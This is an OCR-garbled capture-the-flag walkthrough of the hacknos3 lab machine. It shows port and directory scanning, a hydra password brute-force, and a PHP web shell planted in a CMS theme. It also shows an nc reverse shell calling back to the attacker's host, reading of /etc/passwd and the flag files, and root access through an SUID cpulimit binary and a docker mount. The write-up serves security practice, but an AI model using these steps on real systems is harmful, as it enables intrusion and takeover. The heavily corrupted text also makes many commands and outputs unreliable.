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3 EEHLIR
3.1 EREIE

3.1.1 nmap 3#

nmap p- -A 192 168.0.173 -0A hacknos3-port

# nmap ~p~ =A 192 168 0.174 ~DA hacknus3 port
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-31 @3:03 AKST
Nmap scan report for 192.168.0.174
Host is up (@.0041s latency).
Not shown: 65533 closed ports
PORT  STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.8p1 Ubuntu 6buildl (Ubuntu Linux; protocol 2.8)
ssh-hostkey:

: 8c:be:71:9a (ECDSA)
256 63:b3:75:98:de:c1:89:d9:92:40:49:31:29:4b:cP:ad (ED25519)

8@/tcp open http Apache httpd 2.4.41 ((Ubuntu))
_http-server-header: Apache/2.4.41 (Ubuntu)
_http-title: WebSec
MAC Address: 4@:A5:EF:46:69:0A (Shenzhen Four Seas Global Link Network Technology)
No exact 0S matches for host (If you know what 0S is running on it, see https://nmap.org/submit/ )
TCP/IP fingerprint:

:SCAN(V=7 . 80%E=4%D=12/31%0T=22%CT=1%CU=40641%PV=YXDS=1%XDC=DXG=Y¥M=4OASEF%X
(TM= 394FXP=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%XISR=109%TI=Z%XCI=ZXTS=
1A)SEQ(SP=107%GCD=1XISR=109%TI=ZXCI=ZXII=IXTS=A)OPS(01=M5B4ST11NW7%02=M5B
14ST1INW7%03=M5B4NNT11NW7%04=M5B4ST11NW7%05=M5B4ST11NW7%06=M5B4ST11 )WIN(W
i1
H]

—0%S=7%A=5+%F=ARXO=XRI
XRID-GXRIPCK=GXRUCK-GXRUD=G) TE(

Network Distance: 1 hop
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 4.07 ms 192.168.0.174

3.2 B

gobuster dir -u http://192.168.0.174 -w /usr/share/wordhsts/dlrbuster/dlrectory list-2.3-medium.txt -t 100

# gobuster dir -u http ff192 168 ﬁ 174 -w /usr/share/wordllstsfdlrbuster/dlrectory-llst 2.3-medium.txt -t 100

http://192.168.0.174
Threads: 100
Wordlist: fusr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Status codes: 200,204,301,302,307,401,403
User Agent: gobuster/3.0.1
Timeou 10s

2019/12/31 83:06:59 Starting gobuster

[/scripts (Status: 381)
J/devil (Status: 3e1)

fwebsec (Status: 1)
/server -status (Status: 403)

2@19/12/31 ©3:08:14 Finished

3.3 Vi ia] websec
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[192.168.0.174/websec/
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LogIn
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Password

Show password

Forgot password?



3.4 cewl HZhEEH1A]

cewl http://192.168.0.174/websec/ >cewl.txt

# cewl http://192.168.0.174/websec/ >cewl.txt

LSS

4.1.1 hydra HEFE

hydra -1 contact@hacknos.com -P cewl.txt 192.168.0.174 http-post-form "/websec/admin:username="USER"&password="PASS":Wrong email"

# hydra -1 contact@hacknos.com -P cewl.txt 192.168.9.174 http-post-form "/websec/admin:username="USER"&password="PASS":Wrong email"”
Hydra v9. 0 fc) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-12-31 03:30:02
[DATA] max 16 tasks per 1 server, overall 16 tasks, 54 login tries (1:1/p:54), ~& tries per task

[DATA] attacking http-post-form://192.168.0. 174: SB/websec/admln username="USER" bpassward PASS”:Wrong email
[8 0 password

1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-12-31 @3:
: #11

4.1.2 _E4% shell

http://192.168.0.174/websec/admin/fm?f=themes/gila-blog



A% php S

(i) 192.168.0.174 = LLLI 7 B, o

Kali Tools € Kali Docs Kali Forums NetHunter @ Offensive Security Exploit-DB GHDB @& MSFU

= themeslgila-blogimoon.php m

B LICENSE
B blocks-display-head.php 1 <?php system($_REQUEST[moonT);?>
B blog-category.php

B blog-list.php

= blog-tag.php

B footer.php

B frontpage.php

= header.php

& load.php

= moon.php

[ package.json

& page php

4! screenshot.png

B single-post.php

1 hatccess J5 %

@ 192.168.0.174/webs: f=them MO+

Kali Tools @ Kali Docs Kali Forums NetHunter @ Offensive Security Exploit-DB GHDB @ MSFU

B htaccess

Pt L <Files *.php>
gila-blog 2 deny from all
O gila-mag 3 <IFiless|

(i} startbootstrap-creative
O vivid

Page created in 0.004665 seconds.

http://192.168.0.174/websec/themes/gila-blog/moon.php?moon=id



74/websec/: X  192.168.0.174jwebsecfthenr X +

c o 32.168.0.174

Kali Linux Kali Training Kali Tools @) Kali Docs Kali Forums NetHunter @ Offensive Security

uid=33(www-data) gid=33(www-data) groups=33(www-data)

4.2 3 shell

Exploit-DB

User-Agent: Mozilla/5.8 (X11; Linux xB6_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/Shiml,application/xhtml+xml,application/xml;q=0.9,%/%;g=0.8
Accept-Language: en-US.en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=2t86pjvobfkol2r5sgil7i3uabi;
GSESSIONID=1wSf7mihaa%ulip3nztivmdtw3Bons972fb22wenfd2zgulz7j
Upgrade-Insecure-Requests: 1

Content-Type: application/x-wew-Torm-urlencoded

Content-Length: 91

moon=rm+/tmp/ f%3bmkfifo+/tmp/ f%3bcat+/tmp/ T | Fbin/sh+-1+2=%261|nc+192.168.0.164+9001+=
/tmp/ |

I # nc -lvnp 9601
listening on [any] %001 ...
connect to [192.168.0.164] from (UNKNOWN) [192.168.0.174] 52286
/bin/sh: @: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")’
www -data@hacknos: /var/wm /html/websec/themes/gila-blog$ |

| Dashboard |Target | Prox | Intruder | Repeater | Seguencer | Decoder | Comparer | Extender | Projectc
1d Cancel < |7
Request
_[ Raw T Params ]’ Headers T Hex ]
POST /websec/themes/gila-blog/moon.php HTTP/1.1 "
Heost: 192.16B.0.174 -




4.3 3REX user.txt

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
: :daemon: /usr/sbin:/usr/sbin/nologin
:bin:/bin:/usr/sbin/nologin
:sys:/dev:/usr/sbin/nologin
65534:sync:/bin:/bin/sync
:60:games: /usr/games:/usr/sbin/nologin
:12:man:/var/cache/man:/usr/sbin/nologin
7:1p:/var/spool/1pd:/usr/sbin/nologin
:mail:/var/mail:/usr/sbin/nologin
ews: /var/spool/news: /usr/sbin/nologin
:uucp:/var/spool/uucp:/usr/sbin/nologin
3:proxy:/bin:/usr/sbin/nologin
:33:33:wmw-data:/var/wmw:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ired:/var/run/ircd: /usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534: nobody : /nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106 :: /nonexistent:/usr/sbin/nologin
syslog:x:104:110 :: /home/syslog: /usr/sbin/nologin
_apt:x:105:65534 :: /nonexistent:/usr/sbin/nologin
uuidd:x:106:111:: /run/uuidd:/usr/sbin/nologin
tcpdump:x:107:112 :: /nonexistent:/usr/sbin/nologin
landscape:x:108:114 :: /var/lib/landscape: /usr/sbin/nologin
pollinate:x:109:1:: /wvar/cache/pollinate:/bin/false

blackdevil:x:1000:118:hackNos : [ TVFIE I CENEN : /bin/bash
1xd:x:998:100:: /var/snap/1lxd/common/1xd: /bin/false
mysql:x:111:116:MySQL Server,,,:/nonexistent:/bin/false
dnsmasq:x:112:65534:dnsmasq, , , : /var/lib/misc:/usr/sbin/nologin
wwu-dataghacknos: /var/wew /html/websec/themes/gila-blog$ I

dnsmasq:x:112:65534:dnsmasq, ,,:

ww -dataghacknos: /var/www /html/websec/themes/gila-blog$ cat /home/blackdevil/user.txt
<sec/themes/gila-blog$ cat /home/blackdevil/user.txt

baelice&f67af91fas58576clda2aadsb

www -data@hacknos : /var/wm /html/websec/themes/gila-blog$ |}

4.4 FEBURTT

4.4.1 IR suid X

find /ust/bin -type f -perm -u=s 2>/dev/null

bin -type -perm -u=s
usr/bin/mount
usr/bin/passwd
usr/bin/chfn
usr/bin/newgrp
usr/bin/cpulimit
usr/bin/gpasswd

usr/bin/umount
usr/bin/su
usr/bin/sudo
usr/bin/fusermount
usr/bin/at
usr/bin/pkexec
usr/bin/chsh




4.4.2 cpulimit FEAL

B suid.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc,char *argv([])
{
setreuid(0,0);
execve("/bin/bash, NULL,NULL);
h

gece suid.c -0 exp

# gcc suid.c -o exp
: # 1s -al exp
-rwir-xr-x 1 root root 16672 Dec 31 85:15 exp

A B BAEHL L BB IS AT RR R A]

"expb4" [New] 293L, 22604C written
wwi-datadhacknos:/tmp$ base64 -d -i expbé >exp
www-dataghacknos: /tmp$ chmod +x exp
www-dataghacknos:/tmp$ 1s -al exp

=rWxr-xr-»® 1 www-data www-data 16672 Dec 31 14:20 exp
ww -data@hacknos:/tmp$ i

4.5 132 root AR



0

"exp64” [New] 293L, 22684C written

ww-data@hacknos:/tmp$ base6t -d -i exp6& >exp

ww-data@hacknos:/tmp$ chmod +x exp

ww-data@hacknos:/tmp$ 1s -al exp

-rwxr-xr-x 1 ww-data ww-data 16672 Dec 31 14:20 exp

www-dataghacknos:/tmp$ cpulimit -1 18@ -f ./exp

Process 4032 detected

rootahacknos:/tmp# cd ~

root@hacknos: /root# 1s

root.txt snap

root@hacknos:/root# cat root.txt

winunny B HEHug HHBRAHHY HHBRAHY
#H #Ht
#H Ht
#itinang
H
#Ht #Ht

HEuHREE i

MD5-HASH: baellce4f67af91fa58576clda2aadsb
Author: Rahul Gehlaut

Blog: www.hackNos.com

Linkedin: https://in.linkedin.com/in/rahulgehlaut
rootahacknos: /root# JJ

4.6 dacker AL

4.6.1 VJ¥HF blackdevil

BEXATH 4 docker

JOCKe A U aro UdO d1p pLuLdey

blackdevilahacknos:~$

uid=1000(blackdevil) gid=118(docker) groups=118(docker),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(1xd)
blackdevilahacknos:~$ groups

docker adm cdrom sudo dip plugdev 1xd

blackdevilahacknos:~$ I

docker images

BH AT BB ST

docker adm cdrom sudo dip plugdev 1lxd
blackdevil@hacknos:~$ docker images

REPOSITORY TAG IMAGE ID CREATED

B AR shell
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

HZ) N # alpine (4

:~% docker images
REPOSITORY TAG IMAGE ID CREATED
blackdevil@hacknos:~$ docker run -v /:/mnt —rm -it alpine chroot /mnt sh
Unable to find image 'alpine:latest' locally
latest: Pulling from library/alpine

ebbBcf9chB882: Pull complete

Digest: sha256:2171658620155679240babee@a7714f6509fae66898db422ad803b951257db78
Status: Downloaded newer image for alpine:latest




B HHEH AT images

blackdevil@hacknos:~$ docker images
REPOSITORY TAG IMAGE ID CREATED
alpine latest ccPabc535e36 6 days ago

blackdevila@hacknos:~$ all

JEEEHUR H S EEAE 2 /mbt

docker run -it -v /:/mbt ccOabc535e36

L. cl
/ # cd mbt/root
/mbt/root # 1s -al
total 56
—————— root
root
root 5 .bash_history
root : .bashrc
root
root
root
root
root : .profile
root
root : .viminfo
root ; root.txt
drwxr-xr-x root
/mbt/root # cat root.txt
Hit i HiHEH Higis g Fugagugg ey g Fagagug:31 40
oW H o Ht H
o i #H
RS8R saagauay

[l
= |

Cad = = B L L L B

=

i
i3
#

i =)
# =g
i iz
## jiz:d
# pizd

i H
i =g i
i #iH HEssany =y

MD5-HASH: baellce4f67af91fa58576clda2aadésb
Author: Rahul Gehlaut
Blog: www.hackNos.com

Linkedin: https://in.linkedin.com/in/rahulgehlaut
/mbt/root # [
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